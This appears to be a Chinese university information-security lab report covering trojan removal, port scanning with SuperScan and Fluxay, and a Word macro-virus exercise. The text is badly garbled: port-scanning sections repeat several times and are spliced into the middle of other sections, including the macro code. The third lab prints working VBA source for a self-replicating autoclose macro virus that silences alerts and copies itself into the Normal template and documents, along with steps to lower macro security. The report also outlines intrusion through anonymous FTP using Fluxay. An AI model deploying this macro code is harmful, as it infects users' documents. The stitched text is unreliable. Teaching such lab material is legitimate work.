信息安全实验报告

信息安全实验报告

南昌航空大学实验报告

课程名称：信息安全实验名称：共五次实验

班级：姓名：同组人：

指导教师评定：签名：

实验一木马攻击与防范

一、实验目的

通过对木马的练习，使读者理解和掌握木马传播和运行的机制；通过手动删除木马，掌握检查木马和删除木马的技巧，学会防御木马的相关知识，加深对木马的安全防范意识。

二、实验原理

木马的全称为特洛伊木马，源自古希腊神话。木马是隐藏在正常程序中的具有特殊功能的恶意代码，是具备破坏、删除和修改文件、发送密码、记录键盘、实施DoS攻击甚至完全控制计算机等特殊功能的后门程序。它隐藏在目标计算机里，可以随计算机自动启动并在某一端口监听来自控制端的控制信息。

1．木马的特性

(1)伪装性

(2)隐藏性

(3)破坏性

(4)窃密性

2．木马的入侵途径

木马入侵的主要途径是通过一定的欺骗方法，如更改图标、把木马文件与普通文件合并，欺骗被攻击者下载并执行做了手脚的木马程序，就会把木马安装到被攻击者的计算机中。

3．木马的种类

(1)按照木马的发展历程，可以分为4个阶段：第1代木马是伪装型病毒，第2代木马是网络传播型木马，第3代木马在连接方式上有了改进，利用了端口反弹技术，例如灰鸽子木马，第4代木马在进程隐藏方面做了较大改动，让木马服务器端运行时没有进程，网络操作插入到系统进程或者应用进程中完成，例如广外男生木马。

(2)按照功能分类，木马又可以分为：破坏型木马，主要功能是破坏并删除文件；服务型木马； DoS攻击型木马；远程控制型木马

三、实验环境

两台运行Windows 2000/XP的计算机，通过网络连接。使用“冰河”和“广外男生”木马作为练习工具。

四、实验内容和结果

任务一“冰河”木马的使用

1．使用“冰河”对远程计算机进行控制

我们在一台目标主机上植入木马，在此主机上运行

G_Server，作为服务器端；在另一台主机上运行G_Client，作为控制端。

打开控制端程序，单击快捷工具栏中的“添加主机”按钮，弹出如图1-5所示对对话框。

删除注册表中木马文件

删除注册表中木马文件

五，实验感想

通过本次实验了解的一些木马的传播技巧，通过自己动手实践，删除木马，学会了防御木马的一些基本技巧，加深了网络安全的认识。

实验二网络端口扫描

一、实验目的

通过练习使用网络端口扫描器，可以了解目标主机开放的端口和服务程序，从而获取系统的有用信息，发现网络系统的安全漏洞。在实验中，我们将在Windows操作系统下使用Superscan进行网络端口扫描实验，通过端口扫描实验，可以增强学生在网络安全方面的防护意识。利用综合扫描软件“流光”扫描系统的漏洞并给出安全性评估报告。

二、实验原理

(一)．端口扫描的原理

一个开放的网络端口就是一条与计算机进行通信的信道，对网络端口的扫描可以得到目标计算机开放的服务程序、运行的系统版本信息，从而为下一步的入侵做好准备。对网络端口的扫描可以通过执行手工命令实现，但效率较低；也可以通过扫描工具实现，效率较高。扫描工具是对目标主机的安全性弱点进行扫描检测的软件。它一般具有数据分析功能，通过对端口的

扫描分析，可以发现目标主机开放的端口和所提供的服务以及相应服务软件版本和这些服务及软件的安全漏洞，从而能及时了解目标主机存在的安全隐患。

1．端口的基础知识

端口是TCP协议中所定义的，TCP协议通过套接字(socket)建立起两台计算机之间的网络连接。TCP／UDP的端口号在0～65535范围之内，其中1024以下的端口保留给常用的网络服务。例如，21端口为>服务，23端口为TELNET服务，25端口为SMTP服务，80端口为HTTP服务，110端口为POP3服务等。

2．扫描的原理

扫描的方式有多种，为了理解扫描原理，需要对TCP协议简要介绍一下。

一个TCP头的数据包格式如图2-1所示。它包括6个标志位，其中：

删除注册表中木马文件

删除注册表中木马文件

五，实验感想

通过本次实验了解的一些木马的传播技巧，通过自己动手实践，删除木马，学会了防御木马的一些基本技巧，加深了网络安全的认识。

实验二网络端口扫描

一、实验目的

通过练习使用网络端口扫描器，可以了解目标主机开放的端口和服务程序，从而获取系统的有用信息，发现网络系统的安全漏洞。在实验中，我们将在Windows操作系统下使用Superscan进行网络端口扫描实验，通过端口扫描实验，可以增强学生在网络安全方面的防护意识。利用综合扫描软件“流光”扫描系统的漏洞并给出安全性评估报告。

二、实验原理

(一)．端口扫描的原理

一个开放的网络端口就是一条与计算机进行通信的信道，对网络端口的扫描可以得到目标计算机开放的服务程序、运行的系统版本信息，从而为下一步的入侵做好准备。对网络端口的扫描可以通过执行手工命令实现，但效率较低；也可以通过扫描工具实现，效率较高。扫描工具是对目标主机的安全性弱点进行扫描检测的软件。它一般具有数据分析功能，通过对端口的扫描分析，可以发现目标主机开放的端口和所提供的服务以及相应服务软件版本和这些服务及软件的安全漏洞，从而能及时了解目标主机存在的安全隐患。

1．端口的基础知识

端口是TCP协议中所定义的，TCP协议通过套接字(socket)建立起两台计算机之间的网络连接。TCP／UDP的端口号在0～65535范围之内，其中1024以下的端口保留给常用的网络服务。例如，21端口为>服务，23端口为TELNET服务，25端口为SMTP服务，80端口为HTTP服务，110端口为POP3服务等。

2．扫描的原理

扫描的方式有多种，为了理解扫描原理，需要对TCP协议简要介绍一下。

一个TCP头的数据包格式如图2-1所示。它包括6个标志位，其中：

图2-1 TCP数据包格式

扫描往往是入侵的前奏，所以如何有效的屏蔽计算机的端口，保护自身计算机的安全，成为计算机管理人员首要考虑的问题。为了防止对计算机网络端口的扫描，我们可以采用端口扫描监测工具来监测对端口的扫描，防止端口信息外露。常用的端口扫描监测工具包括ProtectX、PortSentry等。此外，安装防火墙也是防止端口扫描的有效方法。

三、实验环境

两台预装Windows 2000/XP的计算机，通过网络相连。SuperScan和流光Fluxay软件。

四、实验内容和步骤

任务一使用SuperScan扫描

SuperScan具有端口扫描、主机名解析、Ping扫描的功能，其界面如图2-2所示。

1．主机名解析功能

在Hostname Lookup栏中，可以输入IP地址或者需要转换的域名，单击Lookup按钮就可以获得转换后的结果；单击Me按钮可以获得本地计算机的IP地址；单击Interfaces按钮可以获得本地计算机IP地址的详细设置。

2．端口扫描功能

图2-2SuperScan操作界面

图2-3 端口配置界面

SuperScan也提供了特定端口扫描的功能，在Scan Type栏中选中All select ports in list，就可以按照选定的端口扫描。

3．Ping功能

SuperScan软件的Ping功能提供了检测在线主机和判断网络状况的作用。通过在IP栏中输入起始和结束的IP地址，然后选中Scan Type栏中的Ping only即可单击Start启动Ping 扫描了。

任务二利用流光综合扫描

流光是一款非常优秀的综合扫描工具，不仅具有完善的扫描功能，而且自带了很多猜测器和入侵工具，可方便地利用扫描的漏洞进行入侵。启动后，主界面如图2-4所示。

图2-4主界面

1.扫描主机漏洞

(1)

图2-5扫描设置选项

然后，陆续单击“下一步”按钮，会弹出POP3版本信息和用户密码的对话框以及获取>的Banner、尝试匿名登录等对话框，可根据需要进行选择，本例以采用默认值。

图2-7 IPC设置选项

“下一步”，设置对IIS的漏洞扫描选项。之后点击“下一步”，弹出如图2-8所示对话框，这里流光提供了11个漏洞的扫描。可根据需要进行选择。

图2-8 PLUGINS设置选项

图2-9选项对话框

图2-10选择扫描引擎

选择默认的本地主机作为扫描引擎，单击“开始”按钮开始扫描，经过一段时间后，会有类似的扫描结果。

2.分析扫描结果并模拟入侵

(1)端口漏洞分析

我们发现被扫描主机开放的端口，有些开放的端口是极其不安全的，下面列举部分端口及其可能存在的威胁如下：

端口21：>端口，攻击者可能利用用户名和密码过于简单，甚至可以匿名登录的漏洞登录到目标主机上，并上传木马或者病毒而控制目标主机。

端口23：Telnet端口，如果目标主机开放23端口，但用户名和密码过于简单，攻击者破解后就可以登录主机并查看任何信息，甚至控制目标主机。

端口80：HTTP端口，此端口开放没有太大的危险，但如果目标主机有SQL注入的漏洞，攻击者就可能利用端口80进行攻击。

端口139：NETBIOS会话服务端口，主要用于提供Windows文件和打印机共享以及Unix中的Samba服务。139端口可以被

攻击者利用，建立IPC连接入侵目标主机，然后获得目标主机的root权限并放置木马。

端口443：网页浏览端口，主要用于HTTPS服务，是提供加密和通过安全端口传输的另一种HTTP。HTTPS服务一般是通过SSL来保证安全性的，但是SSL漏洞可能会受到黑客的攻击，比如可以黑掉在线银行系统、盗取信用卡帐好等。

端口3389：这个端口的开放使安装了终端服务和全拼输入法的Windows 2000服务器（sp1之前的版本）存在着远程者很容易的拿到Administrator组权限。

(2)>漏洞分析

当扫描结果中看到>的端口开放，且可以匿名登录，我们就直接利用“流光”提供的入侵菜单进行>登录，单击密码破解成功的账号，然后选择connect，直接通过>连接到目标主机上。这样就可以往目标主机上传任何文件。包括木马和病毒，可见>匿名登录的危害性。

利用help命令，查看>命令

五、实验感想

本次试验，在Windows操作系统中安装并运行SuperScan，扫描目标主机端口，嗅探网络服务和操作系统，提交扫描步骤和扫描结果，在Windows操作系统中安装并运行“流光”，查看并记录自己的机器的扫描结果，是否存在安全漏洞，学习net 相关命令的使用，尝试利用系统漏洞与目标主机建立连接

实验三脚本病毒和宏病毒分析

一、实验目的

通过这项实验旨在使学生掌握Office下宏病毒的基本原理，主要包括它的传染机制、破坏机制以及怎样清除Office下的宏病毒。

二、实验环境

操作系统环境：Windows98/NT/2000/XP 编程环境：Office VBA

三、实验基础知识要求

Office VBA编程环境

四、实验任务

1．任务性质：验证性实验

2．任务描述：下面的示例中给出的是一个Word宏病毒的示例程序（只有传染模块），仔细阅读源程序，掌握Word宏病毒的传染过程。

3．任务步骤：

（1）打开Word2000，新建一个文档名为“test”；

（2）点击“工具－宏－宏”，在对话框“宏的位置”选择“test”，在宏名中输入“autoclose”，然后点击“创建”按钮；

（3）在VBA编辑环境中输入示例程序中给出的代码，并保存，然后退出VBA；

（4）点击“工具－宏－宏”，在对话框中点击“管理器”按钮，在管理器对话框中点击“宏方案项”标签；在宏方案项有效范围的“test.doc”中将“NewMacros”改名为“AOPEDMOK”；

（5）点击“工具－宏－安全性”，在安全性对话框中的安全级标签中选择“低”，在可靠性来源标签中选择“信任对VB 项目的访问”；

（6）保存并关闭“test”文档；

（7）新建一个文档test1，关闭后重新打开，观察test1是否被感染。

（8）清除此宏病毒，即要同时删除normal模板、所有活动模板、和染毒文件的autoclose宏。

4．示例程序

Sub autoclose()

' autoclose Macro

' 宏在2005-8-26由 jingjd 创建

On Error Resume Next

Application.DisplayAlerts = wdAlertsNone

Application.EnableCancelKey = wdCancelDisabled

Application.DisplayStatusBar = False

二、实验原理

(一)．端口扫描的原理

一个开放的网络端口就是一条与计算机进行通信的信道，对网络端口的扫描可以得到目标计算机开放的服务程序、运行的系统版本信息，从而为下一步的入侵做好准备。对网络端口的扫描可以通过执行手工命令实现，但效率较低；也可以通过扫描

工具实现，效率较高。扫描工具是对目标主机的安全性弱点进行扫描检测的软件。它一般具有数据分析功能，通过对端口的扫描分析，可以发现目标主机开放的端口和所提供的服务以及相应服务软件版本和这些服务及软件的安全漏洞，从而能及时了解目标主机存在的安全隐患。

1．端口的基础知识

端口是TCP协议中所定义的，TCP协议通过套接字(socket)建立起两台计算机之间的网络连接。TCP／UDP的端口号在0～65535范围之内，其中1024以下的端口保留给常用的网络服务。例如，21端口为>服务，23端口为TELNET服务，25端口为SMTP服务，80端口为HTTP服务，110端口为POP3服务等。

2．扫描的原理

扫描的方式有多种，为了理解扫描原理，需要对TCP协议简要介绍一下。

一个TCP头的数据包格式如图2-1所示。它包括6个标志位，其中：

图2-1 TCP数据包格式

扫描往往是入侵的前奏，所以如何有效的屏蔽计算机的端口，保护自身计算机的安全，成为计算机管理人员首要考虑的问题。为了防止对计算机网络端口的扫描，我们可以采用端口扫描监测工具来监测对端口的扫描，防止端口信息外露。常用的端口扫描监测工具包括ProtectX、PortSentry等。此外，安装防火墙也是防止端口扫描的有效方法。

三、实验环境

两台预装Windows 2000/XP的计算机，通过网络相连。SuperScan和流光Fluxay软件。

四、实验内容和步骤

任务一使用SuperScan扫描

SuperScan具有端口扫描、主机名解析、Ping扫描的功能，其界面如图2-2所示。

1．主机名解析功能

在Hostname Lookup栏中，可以输入IP地址或者需要转换的域名，单击Lookup按钮就可以获得转换后的结果；单击Me按钮可以获得本地计算机的IP地址；单击Interfaces按钮可以获得本地计算机IP地址的详细设置。

2．端口扫描功能

图2-2SuperScan操作界面

图2-3 端口配置界面

SuperScan也提供了特定端口扫描的功能，在Scan Type栏中选中All select ports in list，就可以按照选定的端口扫描。

3．Ping功能

SuperScan软件的Ping功能提供了检测在线主机和判断网络状况的作用。通过在IP栏中输入起始和结束的IP地址，然后选中Scan Type栏中的Ping only即可单击Start启动Ping 扫描了。

任务二利用流光综合扫描

流光是一款非常优秀的综合扫描工具，不仅具有完善的扫描功能，而且自带了很多猜测器和入侵工具，可方便地利用扫描的漏洞进行入侵。启动后，主界面如图2-4所示。

图2-4主界面

1.扫描主机漏洞

(1)

图2-5扫描设置选项

然后，陆续单击“下一步”按钮，会弹出POP3版本信息和用户密码的对话框以及获取>的Banner、尝试匿名登录等对话框，可根据需要进行选择，本例以采用默认值。

图2-7 IPC设置选项

“下一步”，设置对IIS的漏洞扫描选项。之后点击“下一步”，弹出如图2-8所示对话框，这里流光提供了11个漏洞的扫描。可根据需要进行选择。

图2-8 PLUGINS设置选项

图2-9选项对话框

图2-10选择扫描引擎

选择默认的本地主机作为扫描引擎，单击“开始”按钮开始扫描，经过一段时间后，会有类似的扫描结果。

2.分析扫描结果并模拟入侵

(1)端口漏洞分析

我们发现被扫描主机开放的端口，有些开放的端口是极其不安全的，下面列举部分端口及其可能存在的威胁如下：

端口21：>端口，攻击者可能利用用户名和密码过于简单，甚至可以匿名登录的漏洞登录到目标主机上，并上传木马或者病毒而控制目标主机。

端口23：Telnet端口，如果目标主机开放23端口，但用户名和密码过于简单，攻击者破解后就可以登录主机并查看任何信息，甚至控制目标主机。

端口80：HTTP端口，此端口开放没有太大的危险，但如果目标主机有SQL注入的漏洞，攻击者就可能利用端口80进行攻击。

端口139：NETBIOS会话服务端口，主要用于提供Windows文件和打印机共享以及Unix中的Samba服务。139端口可以被攻击者利用，建立IPC连接入侵目标主机，然后获得目标主机的root权限并放置木马。

端口443：网页浏览端口，主要用于HTTPS服务，是提供加密和通过安全端口传输的另一种HTTP。HTTPS服务一般是通过SSL来保证安全性的，但是SSL漏洞可能会受到黑客的攻击，比如可以黑掉在线银行系统、盗取信用卡帐好等。

端口3389：这个端口的开放使安装了终端服务和全拼输入法的Windows 2000服务器（sp1之前的版本）存在着远程者很容易的拿到Administrator组权限。

(2)>漏洞分析

当扫描结果中看到>的端口开放，且可以匿名登录，我们就直接利用“流光”提供的入侵菜单进行>登录，单击密码破解成功的账号，然后选择connect，直接通过>连接到目标主机上。这样就可以往目标主机上传任何文件。包括木马和病毒，可见>匿名登录的危害性。

利用help命令，查看>命令

五、实验感想

本次试验，在Windows操作系统中安装并运行SuperScan，扫描目标主机端口，嗅探网络服务和操作系统，提交扫描步骤和扫描结果，在Windows操作系统中安装并运行“流光”，查看并记录自己的机器的扫描结果，是否存在安全漏洞，学习net 相关命令的使用，尝试利用系统漏洞与目标主机建立连接

实验三脚本病毒和宏病毒分析

一、实验目的

通过这项实验旨在使学生掌握Office下宏病毒的基本原理，主要包括它的传染机制、破坏机制以及怎样清除Office下的宏病毒。

二、实验环境

操作系统环境：Windows98/NT/2000/XP 编程环境：Office VBA

三、实验基础知识要求

Office VBA编程环境

四、实验任务

1．任务性质：验证性实验

2．任务描述：下面的示例中给出的是一个Word宏病毒的示例程序（只有传染模块），仔细阅读源程序，掌握Word宏病毒的传染过程。

3．任务步骤：

（1）打开Word2000，新建一个文档名为“test”；

（2）点击“工具－宏－宏”，在对话框“宏的位置”选择“test”，在宏名中输入“autoclose”，然后点击“创建”按钮；

（3）在VBA编辑环境中输入示例程序中给出的代码，并保存，然后退出VBA；

（4）点击“工具－宏－宏”，在对话框中点击“管理器”按钮，在管理器对话框中点击“宏方案项”标签；在宏方案项有效范围的“test.doc”中将“NewMacros”改名为“AOPEDMOK”；

（5）点击“工具－宏－安全性”，在安全性对话框中的安全级标签中选择“低”，在可靠性来源标签中选择“信任对VB 项目的访问”；

（6）保存并关闭“test”文档；

（7）新建一个文档test1，关闭后重新打开，观察test1是否被感染。

（8）清除此宏病毒，即要同时删除normal模板、所有活动模板、和染毒文件的autoclose宏。

4．示例程序

Sub autoclose()

' autoclose Macro

' 宏在2005-8-26由 jingjd 创建

On Error Resume Next

Application.DisplayAlerts = wdAlertsNone Application.EnableCancelKey = wdCancelDisabled Application.DisplayStatusBar = False

'Options.VirusProtection = False

Options.SaveNormalPrompt = False

Const VirusName = "AOPEDMOK"

'MsgBox ActiveDocument.VBProject.VBComponents.Item (2).Name

'MsgBox ActiveDocument.VBProject.VBComponents (2).Name

Set Doc = ActiveDocument.VBProject.VBComponents Set Tmp = NormalTemplate.VBProject.VBComponents Const ExportSource = "E:\aopedmok.txt"

For j = 1 To Doc.Count

If Doc(j).Name = VirusName Then

DocInstalled = 1

Doc(j).Export ExportSource

End If

Next j

For i = 1 To Tmp.Count

If Tmp(i).Name = VirusName Then

TmpInstalled = 1

Tmp(i).Export ExportSource

End If

Next i

If TmpInstalled = 0 Then

Tmp.Import ExportSource

NormalTemplate.Save

End If

If DocInstalled = 0 Then

Doc.Import ExportSource

ActiveDocument.SaveAs ActiveDocument.FullName

End If

1．主机名解析功能

在Hostname Lookup栏中，可以输入IP地址或者需要转换的域名，单击Lookup按钮就可以获得转换后的结果；单击Me按钮可以获得本地计算机的IP地址；单击Interfaces按钮可以获得本地计算机IP地址的详细设置。

2．端口扫描功能

图2-2SuperScan操作界面

图2-3 端口配置界面

SuperScan也提供了特定端口扫描的功能，在Scan Type栏中选中All select ports in list，就可以按照选定的端口扫描。

3．Ping功能

SuperScan软件的Ping功能提供了检测在线主机和判断网络状况的作用。通过在IP栏中输入起始和结束的IP地址，然后选中Scan Type栏中的Ping only即可单击Start启动Ping 扫描了。

任务二利用流光综合扫描

流光是一款非常优秀的综合扫描工具，不仅具有完善的扫描功能，而且自带了很多猜测器和入侵工具，可方便地利用扫描的漏洞进行入侵。启动后，主界面如图2-4所示。

图2-4主界面

1.扫描主机漏洞

(1)

图2-5扫描设置选项

然后，陆续单击“下一步”按钮，会弹出POP3版本信息和用户密码的对话框以及获取>的Banner、尝试匿名登录等对话框，可根据需要进行选择，本例以采用默认值。

图2-7 IPC设置选项

“下一步”，设置对IIS的漏洞扫描选项。之后点击“下一步”，弹出如图2-8所示对话框，这里流光提供了11个漏洞的扫描。可根据需要进行选择。

图2-8 PLUGINS设置选项